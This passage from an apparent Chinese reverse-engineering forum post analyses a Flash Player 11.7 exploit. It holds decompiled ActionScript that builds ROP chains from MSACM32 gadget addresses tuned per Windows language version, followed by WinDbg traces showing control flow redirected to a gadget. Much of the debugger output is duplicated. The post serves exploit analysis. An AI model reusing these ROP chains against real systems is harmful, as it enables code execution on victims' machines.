   rop.writeUnsignedInt(248825 + baseaddr);  // 77C1CBF9
   rop.writeUnsignedInt(64);
   ...
   rop.writeUnsignedInt(2425411327);
   for(i = rop.length; i < 204; ) {
      rop.writeByte(0x90);
      i++;
   }
   return rop;
}
public function gen_rop4() : ByteArray {
   var baseaddr:int = 0;
   var i:* = undefined;
   if(sys == 1) {
      baseaddr = 2008940544;   // 77be0000  简体中文版
   }
   else if(sys == 2) {
      baseaddr = 2009137152;   // 77c10000
   }
   else if(sys == 3) {
      baseaddr = 2008940544;   // 77be0000
   }
   var rop:ByteArray = new ByteArray();
   rop.endian = "littleEndian";
   rop.writeMultiByte("FILL","iso-8859-1");
   rop.writeUnsignedInt(171922 + baseaddr);  // 77C09F92
   rop.writeUnsignedInt(71891 + baseaddr);   // 77BF18D3
   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5
   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5
   rop.writeUnsignedInt(0xe0913 + baseaddr); // 77CC0913
   rop.writeUnsignedInt(513);                // 201
   rop.writeUnsignedInt(248825 + baseaddr);  // 77C1CBF9
   rop.writeUnsignedInt(64);
   ...
   rop.writeUnsignedInt(2425411327);
   for(i = rop.length; i < 204; ) {
      rop.writeByte(0x90);
      i++;
   }
   return rop;
}
 
0:019> kb
ChildEBP RetAddr  Args to Child             
0394fa44 10101815 00000000 00000000 00000000 MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d)
WARNING: Stack unwind information not available. Following frames may be wrong.
0394fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815
0394faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
0394fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
0394fb08 100fe0fd 00000000 031b2000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
0394fb1c 1015e803 7c809832 031b2000 031b2000 Flash32_11_7_700_261+0xfe0fd
0394fb6c 10210898 00000001 7c809832 031b2000 Flash32_11_7_700_261+0x15e803
0394fb80 10210e84 02c2d000 10210ebc 0394ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f
0394fb88 10210ebc 0394ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b
0394fb90 1003c391 00000001 031b2000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c3
0394ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391
00000000 00000000 00000000 00000000 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe7ac6
0:019> kb
ChildEBP RetAddr  Args to Child             
0394fa44 10101815 00000000 00000000 00000000 MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d)
WARNING: Stack unwind information not available. Following frames may be wrong.
0394fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815
0394faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
0394fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
0394fb08 100fe0fd 00000000 031b2000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
0394fb1c 1015e803 7c809832 031b2000 031b2000 Flash32_11_7_700_261+0xfe0fd
0394fb6c 10210898 00000001 7c809832 031b2000 Flash32_11_7_700_261+0x15e803
0394fb80 10210e84 02c2d000 10210ebc 0394ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f
0394fb88 10210ebc 0394ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b
0394fb90 1003c391 00000001 031b2000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c3
0394ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391
00000000 00000000 00000000 00000000 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe7ac6
0:019> ub Flash32_11_7_700_261+0x101815
Flash32_11_7_700_261+0x101804:
10101804 10d9            adc     cl,bl
10101806 ee              out     dx,al
10101807 53              push    ebx
10101808 51              push    ecx
10101809 51              push    ecx
1010180a dd1c24          fstp    qword ptr [esp]
1010180d ff7508          push    dword ptr [ebp+8]
10101810 e821f9ffff      call    Flash32_11_7_700_261+0x101136 (10101136)
0:019> ub Flash32_11_7_700_261+0x101815
Flash32_11_7_700_261+0x101804:
10101804 10d9            adc     cl,bl
10101806 ee              out     dx,al
10101807 53              push    ebx
10101808 51              push    ecx
10101809 51              push    ecx
1010180a dd1c24          fstp    qword ptr [esp]
1010180d ff7508          push    dword ptr [ebp+8]
10101810 e821f9ffff      call    Flash32_11_7_700_261+0x101136 (10101136)
 
 
 
0:020> bl
 0 e 76b5d038     0001 (00010:**** WINMM!midiOutPlayNextPolyEvent // 这个是之前调试其他问题留下的,忽略它
 1 e 10101810     0001 (00010:**** Flash32_11_7_700_261+0x101810
 2 e 10101136     0001 (00010:**** Flash32_11_7_700_261+0x101136  // 函数在这里开始
 3 e 10101153     0001 (00010:**** Flash32_11_7_700_261+0x101153
 4 e 10101173     0001 (00010:**** Flash32_11_7_700_261+0x101173
 5 e 10101199     0001 (00010:**** Flash32_11_7_700_261+0x101199
 6 e 101011b3     0001 (00010:**** Flash32_11_7_700_261+0x1011b3
 7 e 101011f2     0001 (00010:**** Flash32_11_7_700_261+0x1011f2
 8 e 1010122e     0001 (00010:**** Flash32_11_7_700_261+0x10122e
 9 e 10101261     0001 (00010:**** Flash32_11_7_700_261+0x101261
10 e 10101265     0001 (00010:**** Flash32_11_7_700_261+0x101265
11 e 1010126b     0001 (00010:**** Flash32_11_7_700_261+0x10126b
12 e 101012a8     0001 (00010:**** Flash32_11_7_700_261+0x1012a8
13 e 101012da     0001 (00010:**** Flash32_11_7_700_261+0x1012da
14 e 101012f3     0001 (00010:**** Flash32_11_7_700_261+0x1012f3
15 e 1010116e     0001 (00010:**** Flash32_11_7_700_261+0x10116e
16 e 10101299     0001 (00010:**** Flash32_11_7_700_261+0x101299
17 e 1010114c     0001 (00010:**** Flash32_11_7_700_261+0x10114c  // 函数在这里退出
0:020> bl
 0 e 76b5d038     0001 (00010:**** WINMM!midiOutPlayNextPolyEvent // 这个是之前调试其他问题留下的,忽略它
 1 e 10101810     0001 (00010:**** Flash32_11_7_700_261+0x101810
 2 e 10101136     0001 (00010:**** Flash32_11_7_700_261+0x101136  // 函数在这里开始
 3 e 10101153     0001 (00010:**** Flash32_11_7_700_261+0x101153
 4 e 10101173     0001 (00010:**** Flash32_11_7_700_261+0x101173
 5 e 10101199     0001 (00010:**** Flash32_11_7_700_261+0x101199
 6 e 101011b3     0001 (00010:**** Flash32_11_7_700_261+0x1011b3
 7 e 101011f2     0001 (00010:**** Flash32_11_7_700_261+0x1011f2
 8 e 1010122e     0001 (00010:**** Flash32_11_7_700_261+0x10122e
 9 e 10101261     0001 (00010:**** Flash32_11_7_700_261+0x101261
10 e 10101265     0001 (00010:**** Flash32_11_7_700_261+0x101265
11 e 1010126b     0001 (00010:**** Flash32_11_7_700_261+0x10126b
12 e 101012a8     0001 (00010:**** Flash32_11_7_700_261+0x1012a8
13 e 101012da     0001 (00010:**** Flash32_11_7_700_261+0x1012da
14 e 101012f3     0001 (00010:**** Flash32_11_7_700_261+0x1012f3
15 e 1010116e     0001 (00010:**** Flash32_11_7_700_261+0x10116e
16 e 10101299     0001 (00010:**** Flash32_11_7_700_261+0x101299
17 e 1010114c     0001 (00010:**** Flash32_11_7_700_261+0x10114c  // 函数在这里退出
Breakpoint 2 hit
Breakpoint 3 hit
Breakpoint 4 hit
Breakpoint 5 hit
Breakpoint 6 hit
Breakpoint 7 hit
Breakpoint 8 hit
Breakpoint 10 hit
Breakpoint 11 hit
Breakpoint 16 hit
Breakpoint 17 hit
Breakpoint 5 hit
Breakpoint 6 hit
// 然后就中断在异常位置了
Breakpoint 2 hit
Breakpoint 3 hit
Breakpoint 4 hit
Breakpoint 5 hit
Breakpoint 6 hit
Breakpoint 7 hit
Breakpoint 8 hit
Breakpoint 10 hit
Breakpoint 11 hit
Breakpoint 16 hit
Breakpoint 17 hit
Breakpoint 5 hit
Breakpoint 6 hit
// 然后就中断在异常位置了
 
 
0:020> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
03a4f81c 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101199
03a4f848 10103075 00000000 02aa41c0 02aa41c0 Flash32_11_7_700_261+0x101815
03a4f8d0 102dff93 02aa41c0 102e0063 02acf1b0 Flash32_11_7_700_261+0x103075
03a4f8d8 102e0063 02acf1b0 1014bc69 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4f8e0 1014bc69 00000000 0334d308 03bf6a80 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc69
03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f
03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d74
03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c09
03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe3933
03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d
03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb6339
03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff
03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101196
03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815   // 看这里!!!
03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd
03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803
0:020> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
03a4f81c 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101199
03a4f848 10103075 00000000 02aa41c0 02aa41c0 Flash32_11_7_700_261+0x101815
03a4f8d0 102dff93 02aa41c0 102e0063 02acf1b0 Flash32_11_7_700_261+0x103075
03a4f8d8 102e0063 02acf1b0 1014bc69 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4f8e0 1014bc69 00000000 0334d308 03bf6a80 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc69
03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f
03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d74
03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c09
03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe3933
03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d
03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb6339
03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff
03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101196
03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815   // 看这里!!!
03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd
03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803
0:020> p
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1c
eip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:02aa4298=77bf18d3
0:020> p
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1c
eip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0         nv up ei pl nz na po nc

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 8
支持
分享
最新回复 (2)
雪    币: 15565
活跃值: (16922)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
加油!
2021-10-14 15:59
0
雪    币: 924
活跃值: (2030)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
感觉像是uaf
2021-10-14 16:10
0
游客
登录 | 注册 方可回帖
返回
//